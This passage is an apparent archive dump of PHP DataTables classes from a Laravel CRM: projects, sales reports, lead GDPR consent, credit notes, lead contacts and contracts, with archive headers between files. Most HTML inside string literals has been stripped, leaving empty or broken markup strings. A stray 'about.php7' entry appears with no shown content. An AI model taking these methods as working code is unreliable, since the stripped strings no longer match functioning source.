} } else { $model->orderByRaw('projects.start_date desc'); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('projects-table', 7) ->parameters( [ 'initComplete' => 'function () { window.LaravelDataTables["projects-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("#projects-table .select-picker").selectpicker(); $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ] ); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, 'visible' => !in_array('client', user_roles()) ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('modules.taskCode') => ['data' => 'project_short_code', 'name' => 'project_short_code', 'title' => __('modules.taskCode')], __('modules.projects.projectName') => ['data' => 'project_name', 'name' => 'project_name', 'exportable' => false, 'width' => '20%', 'title' => __('modules.projects.projectName')], __('app.project') => ['data' => 'project', 'name' => 'project_name', 'visible' => false, 'title' => __('app.project')], ]; if (in_array('client', user_roles())){ if(user()->permission('view_project_members') == 'all') { $data[__('modules.projects.members')] = ['data' => 'members', 'orderable' => false, 'name' => 'members', 'exportable' => false, 'width' => '15%', 'title' => __('modules.projects.members')]; } }else{ $data[__('modules.projects.members')] = ['data' => 'members', 'orderable' => false, 'name' => 'members', 'exportable' => false, 'width' => '15%', 'title' => __('modules.projects.members')]; } $data2 = [ __('modules.projects.projectMembers') => ['data' => 'name', 'orderable' => false, 'name' => 'name', 'visible' => false, 'title' => __('modules.projects.projectMembers')], __('modules.projects.startDate') => ['data' => 'start_date', 'name' => 'start_date', 'title' => __('modules.projects.startDate'), 'width' => '12%'], __('app.deadline') => ['data' => 'deadline', 'name' => 'deadline', 'title' => __('app.deadline'), 'width' => '12%'], __('app.client') => ['data' => 'client_id', 'name' => 'client_id', 'width' => '15%', 'exportable' => false, 'title' => __('app.client'), 'visible' => (!in_array('client', user_roles()) && in_array('clients', user_modules()))] ]; if (in_array('client', user_roles())){ $data2[__('app.customers')] = ['data' => 'client_name', 'name' => 'client_id', 'visible' => false, 'title' => __('app.customers')]; $data2[__('app.client') . ' ' . __('app.email')] = ['data' => 'client_email', 'name' => 'client_id', 'visible' => false, 'title' => __('app.client') . ' ' . __('app.email')]; }else{ $data2[__('app.customers')] = ['data' => 'client_name', 'name' => 'client_id', 'exportable' => (in_array('clients', user_modules()) && user()->permission('view_clients') !== 'none'), 'visible' => false, 'title' => __('app.customers')]; $data2[__('app.client') . ' ' . __('app.email')] = ['data' => 'client_email', 'name' => 'client_id', 'exportable' => (in_array('clients', user_modules()) && user()->permission('view_clients') !== 'none'), 'visible' => false, 'title' => __('app.client') . ' ' . __('app.email')]; } // Hide $data2[__('app.progress')] = ['data' => 'completion_percent', 'name' => 'completion_percent', 'exportable' => false, 'title' => __('app.progress')]; $data2[__('app.completion')] = ['data' => 'completion_export', 'name' => 'completion_export', 'visible' => false, 'title' => __('app.completion')]; $data2[__('app.status')] = ['data' => 'status', 'name' => 'status', 'width' => '16%', 'exportable' => false, 'title' => __('app.status')]; $data2[__('app.project') . ' ' . __('app.status')] = ['data' => 'project_status', 'name' => 'status', 'visible' => false, 'title' => __('app.project') . ' ' . __('app.status')]; $data2[__('modules.projects.projectCategory')] = ['data' => 'project_cat', 'name' => 'project_cat', 'visible' => false, 'title' => __('modules.projects.projectCategory')]; $data2[__('app.department')] = ['data' => 'project_dept', 'name' => 'project_dept', 'visible' => false, 'title' => __('app.department')]; $data = array_merge($data, $data2); $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Project()), $action); } } DataTables/SalesReportDataTable.php000064400000024455150325104510013274 0ustar00eloquent($query); $datatable->addColumn('paid_on', function ($row) { return $row->paid_on ? Carbon::parse($row->paid_on)->format($this->company->date_format) : '--'; }); $datatable->addColumn('invoice_number', function ($row) { return $row->custom_invoice_number ?: '--'; }); $datatable->addColumn('client_name', function ($row) { return $row->client ? $row->client->name : '--'; }); $datatable->addColumn('invoice_value', function ($row) { return $row->total ? currency_format($row->total, $row->currency_id) : '--'; }); $datatable->addColumn('bank_account', function ($row) { return !is_null($row->bankAccount) ? $row->bankAccount->bank_name : '--'; }); $datatable->addColumn('taxable_value', function ($row) { if ($row->calculate_tax == 'after_discount') { if ($row->discount_type == 'percent') { $discountAmount = (($row->sub_total / 100) * $row->discount); $discountedAmount = ($row->sub_total - $discountAmount); } else { $discountedAmount = ($row->sub_total - $row->discount); } return currency_format($discountedAmount, $row->currency_id); } return currency_format($row->sub_total, $row->currency_id); }); $datatable->addColumn('discount', function ($row) { if ($row->discount > 0) { if ($row->discount_type == 'percent') { $discountAmount = (($row->sub_total / 100) * $row->discount); } else { $discountAmount = $row->discount; } return currency_format($discountAmount, $row->currency_id); } return 0; }); $datatable->addColumn('amount_paid', function ($row) { return currency_format($row->amountPaid(), $row->currency_id); }); foreach ($taxes as $taxName) { $taxList = array(); $discount = 0; $datatable->addColumn($taxName['tax_name'], function ($row) use ($taxName, $taxList, $discount, $taxes) { if ($row->discount > 0) { if ($row->discount_type == 'percent') { $discount = (($row->discount / 100) * $row->sub_total); } else { $discount = $row->discount; } } foreach ($row->items as $item) { if (!is_null($item->taxes)) { foreach (json_decode($item->taxes) as $taxId) { $taxValue = $taxes->filter(function ($value, $key) use ($taxId) { return $value->id == $taxId; })->first(); if ($taxName['tax_name'] == $taxValue->tax_name) { if (!isset($taxList[$taxValue->tax_name . ': ' . $taxValue->rate_percent . '%'])) { if ($row->calculate_tax == 'after_discount' && $discount > 0) { $taxList[$taxValue->tax_name . ': ' . $taxValue->rate_percent . '%'] = ($item->amount - ($item->amount / $row->sub_total) * $discount) * (floatval($taxValue->rate_percent) / 100); } else { $taxList[$taxValue->tax_name . ': ' . $taxValue->rate_percent . '%'] = $item->amount * (floatval($taxValue->rate_percent) / 100); } } else { if ($row->calculate_tax == 'after_discount' && $discount > 0) { $taxList[$taxValue->tax_name . ': ' . $taxValue->rate_percent . '%'] = $taxList[$taxValue->tax_name . ': ' . $taxValue->rate_percent . '%'] + (($item->amount - ($item->amount / $row->sub_total) * $discount) * (floatval($taxValue->rate_percent) / 100)); } else { $taxList[$taxValue->tax_name . ': ' . $taxValue->rate_percent . '%'] = $taxList[$taxValue->tax_name . ': ' . $taxValue->rate_percent . '%'] + ($item->amount * (floatval($taxValue->rate_percent) / 100)); } } } } } } foreach ($taxList as $key => $taxListValue) { return currency_format($taxListValue, $row->currency_id); } return 0; }); } $datatable->addIndexColumn() ->setRowId(fn($row) => 'row-' . $row->id); $rawColumns = $taxes->pluck('tax_name')->toArray(); $rawColumns[] = array_push($rawColumns, 'client_name', 'paid_on'); $datatable->orderColumn('client_name', 'client_id $1'); $datatable->orderColumn('paid_on', 'paid_on $1'); $datatable->orderColumn('bank_account', 'paid_on $1'); $datatable->orderColumn('invoice_value', 'total $1'); $datatable->orderColumn('amount_paid', 'total $1'); $datatable->orderColumn('taxable_value', 'total $1'); $datatable->orderColumn('discount', 'total $1'); $datatable->orderColumn('invoice_number', 'custom_invoice_number $1'); $datatable->rawColumns($rawColumns)->make(true); return $datatable; } /** * @param Invoice $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Invoice $model) { $request = $this->request(); $model = $model->with('items', 'client', 'bankAccount')->select('payments.paid_on', 'invoices.*') ->join('payments', 'payments.invoice_id', 'invoices.id') ->whereNotNull('payments.invoice_id'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); if (!is_null($startDate)) { $model = $model->where(DB::raw('DATE(payments.`created_at`)'), '>=', $startDate); } } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); if (!is_null($endDate)) { $model = $model->where(function ($query) use ($endDate) { $query->where(DB::raw('DATE(payments.`created_at`)'), '<=', $endDate); }); } } if ($request->clientID != 'all' && !is_null($request->clientID)) { $clientId = $request->clientID; $model = $model->where(function ($query) use ($clientId) { $query->where('invoices.client_id', $clientId); }); } $model->groupBy('payments.id'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('sales-report-table', 5) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["sales-report-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // $(".select-picker").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $columns = Tax::all(); $newColumns = []; $newColumns['#'] = ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#']; $newColumns[__('app.id')] = ['data' => 'id', 'name' => 'id', 'visible' => false, 'exportable' => false, 'title' => __('app.id')]; $newColumns[__('modules.payments.paidOn')] = ['data' => 'paid_on', 'name' => 'paid_on', 'title' => __('modules.payments.paidOn')]; $newColumns[__('app.invoiceNumber')] = ['data' => 'invoice_number', 'name' => 'invoice_number', 'title' => __('app.invoiceNumber')]; $newColumns[__('app.clientName')] = ['data' => 'client_name', 'name' => 'client_name', 'title' => __('app.clientName')]; $newColumns[__('modules.invoices.invoiceValue')] = ['data' => 'invoice_value', 'name' => 'invoice_value', 'title' => __('modules.invoices.invoiceValue')]; $newColumns[__('modules.invoices.amountPaid')] = ['data' => 'amount_paid', 'name' => 'amount_paid', 'title' => __('modules.invoices.amountPaid')]; $newColumns[__('modules.invoices.taxableValue')] = ['data' => 'taxable_value', 'name' => 'taxable_value', 'title' => __('modules.invoices.taxableValue')]; $newColumns[__('modules.invoices.discount')] = ['data' => 'discount', 'name' => 'discount', 'title' => __('modules.invoices.discount')]; foreach ($columns as $column) { $newColumns[$column->tax_name] = ['data' => $column->tax_name, 'name' => $column->tax_name, 'orderable' => false, 'searchable' => false, 'visible' => true]; } $newColumns[__('app.bankaccount')] = ['data' => 'bank_account', 'name' => 'bank_account', 'title' => __('app.bankaccount')]; return $newColumns; } } DataTables/LeadGDPRDataTable.php000064400000010415150325104510012342 0ustar00eloquent($query) ->addIndexColumn() ->editColumn('status', function ($row) { if ($row->status == 'agree') { $status = __('modules.gdpr.optIn'); } else if ($row->status == 'disagree') { $status = __('modules.gdpr.optOut'); } else { $status = ''; } return $status; }) ->editColumn( 'created_at', function ($row) { return Carbon::parse($row->created_at)->translatedFormat($this->company->date_format); } ) ->editColumn( 'additional_description', function ($row) { return $row->additional_description ? $row->additional_description : '--'; } ) ->editColumn( 'action', function ($row) { return $row->status; } ) ->rawColumns(['status']); } /** * @param PurposeConsentLead $model * @return \Illuminate\Database\Query\Builder */ public function query(PurposeConsentLead $model) { $request = $this->request(); return $model->select('purpose_consent.name', 'purpose_consent_leads.created_at', 'purpose_consent_leads.status', 'purpose_consent_leads.ip', 'users.name as username', 'purpose_consent_leads.additional_description') ->join('purpose_consent', 'purpose_consent.id', '=', 'purpose_consent_leads.purpose_consent_id') ->leftJoin('users', 'purpose_consent_leads.updated_by_id', '=', 'users.id') ->where('purpose_consent_leads.lead_id', $request->leadID); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('leads-gdpr-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["leads-gdpr-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".statusChange").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('modules.gdpr.purpose') => ['data' => 'name', 'name' => 'purpose_consent.name', 'title' => __('modules.gdpr.purpose')], __('app.date') => ['data' => 'created_at', 'name' => 'purpose_consent.created_at', 'title' => __('app.date')], __('modules.gdpr.ipAddress') => ['data' => 'ip', 'name' => 'purpose_consent.ip', 'title' => __('modules.gdpr.ipAddress')], __('modules.gdpr.additionalDescription') => ['data' => 'additional_description', 'name' => 'additional_description', 'title' => __('modules.gdpr.additionalDescription')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; } } DataTables/CreditNotesDataTable.php000064400000027243150325104510013252 0ustar00viewInvoicePermission = user()->permission('view_invoices'); $this->editInvoicePermission = user()->permission('edit_invoices'); $this->deleteInvoicePermission = user()->permission('delete_invoices'); } public function dataTable($query) { $firstCreditNotes = $this->firstCreditNotes; $userId = UserService::getUserId(); return datatables() ->eloquent($query) ->addIndexColumn() ->addColumn('action', function ($row) use ($firstCreditNotes, $userId) { $action = '
'; return $action; }) ->editColumn('name', function ($row) { return view('components.client', [ 'user' => $row->client ]); }) ->addColumn('client_name', function ($row) { return $row->client->name; }) ->editColumn('cn_number', function ($row) { return '' . $row->cn_number . ''; }) ->addColumn('credit_note', function ($row) { return $row->cn_number; }) ->addColumn('invoice', function ($row) { return ($row->invoice) ? $row->invoice->invoice_number : '--'; }) ->editColumn('invoice_number', function ($row) { return $row->invoice ? '' . $row->invoice->invoice_number . '' : '--'; }) ->editColumn('total', function ($row) { $currencyId = $row->currency->id; return '
' . __('app.total') . ': ' . currency_format($row->total, $currencyId) . '

' . __('app.adjustment') . ': ' . $row->adjustment_amount . '

' . __('app.used') . ': ' . currency_format($row->creditAmountUsed(), $currencyId) . '

' . __('app.remaining') . ': ' . currency_format($row->creditAmountRemaining(), $currencyId) . '
'; }) ->editColumn( 'issue_date', function ($row) { return $row->issue_date->timezone($this->company->timezone)->translatedFormat($this->company->date_format); } ) ->editColumn('status', function ($row) { if ($row->status == 'open') { return ' ' . __('app.' . $row->status); } else { return '' . __('app.' . $row->status); } }) ->rawColumns(['name', 'action', 'cn_number', 'invoice_number', 'status', 'total']) ->removeColumn('currency_symbol') ->removeColumn('currency_code') ->removeColumn('project_id'); } /** * @param CreditNotes $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(CreditNotes $model) { $request = $this->request(); $userId = UserService::getUserId(); $this->firstCreditNotes = CreditNotes::orderBy('id', 'desc')->first(); $model = $model->with(['client', 'currency:id,currency_symbol,currency_code', 'invoice', 'payment']) ->leftJoin('invoices', 'invoices.id', 'credit_notes.invoice_id') ->leftJoin('users', 'users.id', 'credit_notes.client_id') ->select( 'credit_notes.id', 'credit_notes.project_id', 'credit_notes.client_id', 'credit_notes.invoice_id', 'credit_notes.currency_id', 'credit_notes.cn_number', 'credit_notes.total', 'credit_notes.issue_date', 'invoices.added_by', 'credit_notes.status', 'credit_notes.adjustment_amount' ); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(credit_notes.`issue_date`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(credit_notes.`issue_date`)'), '<=', $endDate); } if ($request->projectID != 'all' && !is_null($request->projectID)) { $model = $model->where('credit_notes.project_id', '=', $request->projectID); } if ($request->clientID != 'all' && !is_null($request->clientID)) { $model = $model->where('invoices.client_id', '=', $request->clientID); } if (in_array('client', user_roles())) { $model = $model->where('invoices.send_status', 1); $model = $model->where('invoices.client_id', $userId); } if ($request->status != 'all' && !is_null($request->status)) { $model = $model->where('credit_notes.status', '=', $request->status); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('credit_notes.cn_number', 'like', '%' . request('searchText') . '%') ->orWhere('credit_notes.id', 'like', '%' . request('searchText') . '%') ->orWhere('credit_notes.total', 'like', '%' . request('searchText') . '%'); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('invoices-table', 0) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["invoices-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('app.credit-note') => ['data' => 'cn_number', 'name' => 'cn_number', 'exportable' => false, 'title' => __('app.credit-note')], __('app.creditnoteNumber') => ['data' => 'credit_note', 'name' => 'cn_number', 'visible' => false, 'title' => __('app.creditnoteNumber')], __('app.invoice') => ['data' => 'invoice_number', 'name' => 'invoice.invoice_number', 'exportable' => false, 'title' => __('app.invoice')], __('app.invoiceNumber') => ['data' => 'invoice', 'name' => 'invoice.invoice_number', 'visible' => false, 'title' => __('app.invoiceNumber')], __('app.name') => ['data' => 'name', 'name' => 'users.name', 'exportable' => false, 'title' => __('app.name')], __('app.customers') => ['data' => 'client_name', 'users.name' => 'users.name', 'visible' => false, 'title' => __('app.customers')], __('modules.credit-notes.total') => ['data' => 'total', 'name' => 'total', 'class' => 'text-right', 'title' => __('modules.credit-notes.total')], __('modules.credit-notes.creditNoteDate') => ['data' => 'issue_date', 'name' => 'issue_date', 'title' => __('modules.credit-notes.creditNoteDate')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/LeadContactDataTable.php000064400000033464150325104510013212 0ustar00editLeadPermission = user()->permission('edit_lead'); $this->deleteLeadPermission = user()->permission('delete_lead'); $this->viewLeadPermission = user()->permission('view_lead'); $this->addFollowUpPermission = user()->permission('add_lead_follow_up'); $this->changeLeadStatusPermission = user()->permission('change_deal_stages'); $this->viewLeadFollowUpPermission = user()->permission('view_lead_follow_up'); $this->status = LeadStatus::get(); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); $datatables->addColumn('check', fn($row) => $this->checkBox($row)); $datatables->addColumn('action', function ($row) { $action = '
'; return $action; }); $datatables->addColumn('export_email', fn($row) => $row->client_email); $datatables->addColumn('lead_value', fn($row) => currency_format($row->value, $row->currency_id)); $datatables->addColumn('name', fn($row) => $row->client_name); $datatables->editColumn('added_by', fn($row) => $row->added_by ? view('components.employee', ['user' => $row->addedBy]) : '--'); $datatables->editColumn('lead_owner', fn($row) => $row->lead_owner ? view('components.employee', ['user' => $row->leadOwner]) : '--'); $datatables->addColumn('email', fn($row) => $row->client_email); $datatables->addColumn('export_mobile', fn($row) => $row->mobile ?? '--'); $datatables->editColumn('client_name', function ($row) { $label = ''; if ($row->client_id != null && $row->client_id != '') { $label = ''; } $client_name = $row->client_name_salutation; return '
' . $client_name . '

' . $label . '

'.$row->company_name.'

'; }); $datatables->editColumn('created_at', fn($row) => $row->created_at?->translatedFormat($this->company->date_format)); $datatables->smart(false); $datatables->setRowId(fn($row) => 'row-' . $row->id); $datatables->removeColumn('client_id'); $datatables->removeColumn('source'); $customFieldColumns = CustomField::customFieldData($datatables, Lead::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['action', 'client_name', 'check'], $customFieldColumns)); return $datatables; } /** * @param Lead $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Lead $model) { $leadContact = $model->with(['category']) ->select( 'leads.id', 'leads.added_by', 'leads.lead_owner', 'leads.client_id', 'leads.salutation', 'leads.category_id', 'leads.client_name', 'leads.client_email', 'leads.company_name', 'leads.mobile', 'leads.created_at', 'leads.updated_at', 'lead_sources.type as source', ) ->leftJoin('lead_sources', 'lead_sources.id', 'leads.source_id'); if ($this->request()->type != 'all' && $this->request()->type != '') { if ($this->request()->type == 'lead') { $leadContact = $leadContact->whereNull('client_id'); } else { $leadContact = $leadContact->whereNotNull('client_id'); } } if ($this->request()->startDate !== null && $this->request()->startDate != 'null' && $this->request()->startDate != '' && request()->date_filter_on == 'created_at') { $startDate = companyToDateString($this->request()->startDate); $leadContact = $leadContact->having(DB::raw('DATE(leads.`created_at`)'), '>=', $startDate); } if ($this->request()->endDate !== null && $this->request()->endDate != 'null' && $this->request()->endDate != '' && request()->date_filter_on == 'created_at') { $endDate = companyToDateString($this->request()->endDate); $leadContact = $leadContact->having(DB::raw('DATE(leads.`created_at`)'), '<=', $endDate); } if ($this->request()->startDate !== null && $this->request()->startDate != 'null' && $this->request()->startDate != '' && request()->date_filter_on == 'updated_at') { $startDate = companyToDateString($this->request()->startDate); $leadContact = $leadContact->having(DB::raw('DATE(leads.`updated_at`)'), '>=', $startDate); } if ($this->request()->endDate !== null && $this->request()->endDate != 'null' && $this->request()->endDate != '' && request()->date_filter_on == 'updated_at') { $endDate = companyToDateString($this->request()->endDate); $leadContact = $leadContact->having(DB::raw('DATE(leads.`updated_at`)'), '<=', $endDate); } if ($this->request()->category_id != 'all' && $this->request()->category_id != '') { $leadContact = $leadContact->where('category_id', $this->request()->category_id); } if ($this->request()->source_id != 'all' && $this->request()->source_id != '') { $leadContact = $leadContact->where('source_id', $this->request()->source_id); } if ($this->request()->owner_id != 'all' && $this->request()->owner_id != '') { $leadContact = $leadContact->where('lead_owner', $this->request()->owner_id); } if ($this->viewLeadPermission == 'all' && $this->request()->filter_addedBy != 'all' && $this->request()->filter_addedBy != '') { $leadContact = $leadContact->where('leads.added_by', $this->request()->filter_addedBy); } if ($this->viewLeadPermission == 'owned') { $leadContact = $leadContact->where('leads.lead_owner', user()->id); } if ($this->viewLeadPermission == 'added') { $leadContact = $leadContact->where('leads.added_by', user()->id); } if ($this->viewLeadPermission == 'both') { $leadContact = $leadContact->where(function ($query) { $query->where('leads.lead_owner', user()->id) ->orWhere('leads.added_by', user()->id); }); } if ($this->request()->searchText != '') { $leadContact = $leadContact->where(function ($query) { $query->where('leads.client_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.client_email', 'like', '%' . request('searchText') . '%') ->orwhere('leads.mobile', 'like', '%' . request('searchText') . '%'); }); } return $leadContact->groupBy('leads.id'); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('lead-contact-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["lead-contact-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".statusChange").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => showId()], __('app.name') => ['data' => 'client_name', 'name' => 'name', 'exportable' => true, 'visible' => false,'title' => __('app.name')], __('modules.leadContact.contactName') => ['data' => 'client_name', 'name' => 'leads.client_name', 'exportable' => false, 'title' => __('modules.leadContact.contactName')], __('app.email') . ' ' . __('modules.lead.email') => ['data' => 'export_email', 'name' => 'email', 'title' => __('app.lead') . ' ' . __('modules.lead.email'), 'exportable' => true, 'visible' => false], __('modules.lead.email') => ['data' => 'email', 'name' => 'leads.client_email', 'exportable' => false, 'title' => __('modules.lead.email')], __('app.lead') . ' ' . __('modules.lead.mobile') => ['data' => 'export_mobile', 'name' => 'mobile', 'title' => __('app.lead') . ' ' . __('modules.lead.mobile'), 'exportable' => true, 'visible' => false], __('app.owner') => ['data' => 'lead_owner', 'name' => 'lead_owner', 'exportable' => true, 'title' => __('app.owner')], __('app.addedBy') => ['data' => 'added_by', 'name' => 'added_by', 'exportable' => true, 'title' => __('app.addedBy')], __('app.createdOn') => ['data' => 'created_at', 'name' => 'leads.created_at', 'title' => __('app.createdOn')], ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Lead()), $action); } } DataTables/about.php7000064400000026574150325104510010474 0ustar00DataTables/ContractsDataTable.php000064400000036375150325104510012775 0ustar00editContractPermission = user()->permission('edit_contract'); $this->deleteContractPermission = user()->permission('delete_contract'); $this->addContractPermission = user()->permission('add_contract'); $this->viewContractPermission = user()->permission('view_contract'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $userId = UserService::getUserId(); $datatables = datatables()->eloquent($query); // Custom Fields For export $customFieldColumns = CustomField::customFieldData($datatables, Contract::CUSTOM_FIELD_MODEL); return $datatables ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) use ($userId) { $action = '
'; return $action; }) ->editColumn('project_name', function ($row) { if ($row->project_id != null) { return '' . str($row->project->project_name)->limit(30) . ''; } return '--'; }) ->addColumn('contract_subject', function ($row) { return str($row->subject)->limit(50); }) ->editColumn('subject', function ($row) { $signed = ''; if ($row->signature) { $signed = ' ' . __('app.signed') . ''; } return ''; }) ->editColumn('start_date', function ($row) { return $row->start_date->translatedFormat($this->company->date_format); }) ->editColumn('end_date', function ($row) { if (is_null($row->end_date)) { return '--'; } return $row->end_date == null ? $row->end_date : $row->end_date->translatedFormat($this->company->date_format); }) ->editColumn('amount', function ($row) { return currency_format($row->amount, $row->currency->id); }) ->addColumn('client_name', function ($row) { if ($row->client) { $client = $row->client; return view('components.client', [ 'user' => $client ]); } return '--'; }) ->editColumn('client.name', function ($row) { return '
' . $row->client->name . '
' . $row->client->name_salutation . '

' . $row->client->clientDetails->company_name . '

'; }) ->editColumn('signature', function ($row) { if ($row->signature) { return __('app.signed'); } }) ->editColumn('contract_number', function ($row) { return '' . $row->contract_number . ''; }) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(array_merge(['project_name', 'action', 'client.name', 'check', 'subject', 'contract_number'], $customFieldColumns)); } /** * @param Contract $model * @return \Illuminate\Database\Eloquent\Builder * @property-read \App\Models\Award $title */ public function query(Contract $model) { $request = $this->request(); $startDate = null; $endDate = null; $userId = UserService::getUserId(); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); } $model = $model->with( [ 'company', 'project' => function ($q) { $q->withTrashed(); $q->select('id', 'project_name', 'project_short_code', 'client_id'); }, 'client.clientDetails.company:id,company_name', 'currency:id,currency_symbol,currency_code', 'project.client', 'project.client.clientDetails.company', 'client', 'project.clientdetails' ] )->with('contractType', 'client', 'signature', 'client.clientDetails') ->join('users', 'users.id', '=', 'contracts.client_id') ->join('client_details', 'users.id', '=', 'client_details.user_id') ->select('contracts.*'); if ($startDate !== null && $endDate !== null) { $model->where(function ($q) use ($startDate, $endDate) { $q->whereBetween(DB::raw('DATE(contracts.`end_date`)'), [$startDate, $endDate]); $q->orWhereBetween(DB::raw('DATE(contracts.`start_date`)'), [$startDate, $endDate]); }); } if ($request->client != 'all' && !is_null($request->client)) { $model = $model->where('contracts.client_id', '=', $request->client); } if ($request->contract_type != 'all' && !is_null($request->contract_type)) { $model = $model->where('contracts.contract_type_id', '=', $request->contract_type); } if (request('signed') == 'yes') { $model = $model->has('signature'); } if ($request->searchText != '') { $model = $model->where(function ($query) { $query->where('contracts.subject', 'like', '%' . request('searchText') . '%') ->orWhere('contracts.amount', 'like', '%' . request('searchText') . '%') ->orWhere('client_details.company_name', 'like', '%' . request('searchText') . '%'); }) ->orWhere(function ($query) { $query->whereHas('project', function ($q) { $q->where('project_name', 'like', '%' . request('searchText') . '%') ->orWhere('project_short_code', 'like', '%' . request('searchText') . '%'); // project short code }); }); } if ($this->viewContractPermission == 'added') { $model = $model->where('contracts.added_by', '=', $userId); } if ($this->viewContractPermission == 'owned') { $model = $model->where('contracts.client_id', '=', $userId); } if ($this->viewContractPermission == 'both') { $model = $model->where(function ($query) use ($userId) { $query->where('contracts.added_by', '=', $userId) ->orWhere('contracts.client_id', '=', $userId); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder * @property-read \App\Models\Award $title */ public function html() { $dataTable = $this->setBuilder('contracts-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["contracts-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // }', /* 'buttons' => ['excel'] */ ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, 'visible' => !in_array('client', user_roles()) ], __('modules.contracts.contractNumber') => ['data' => 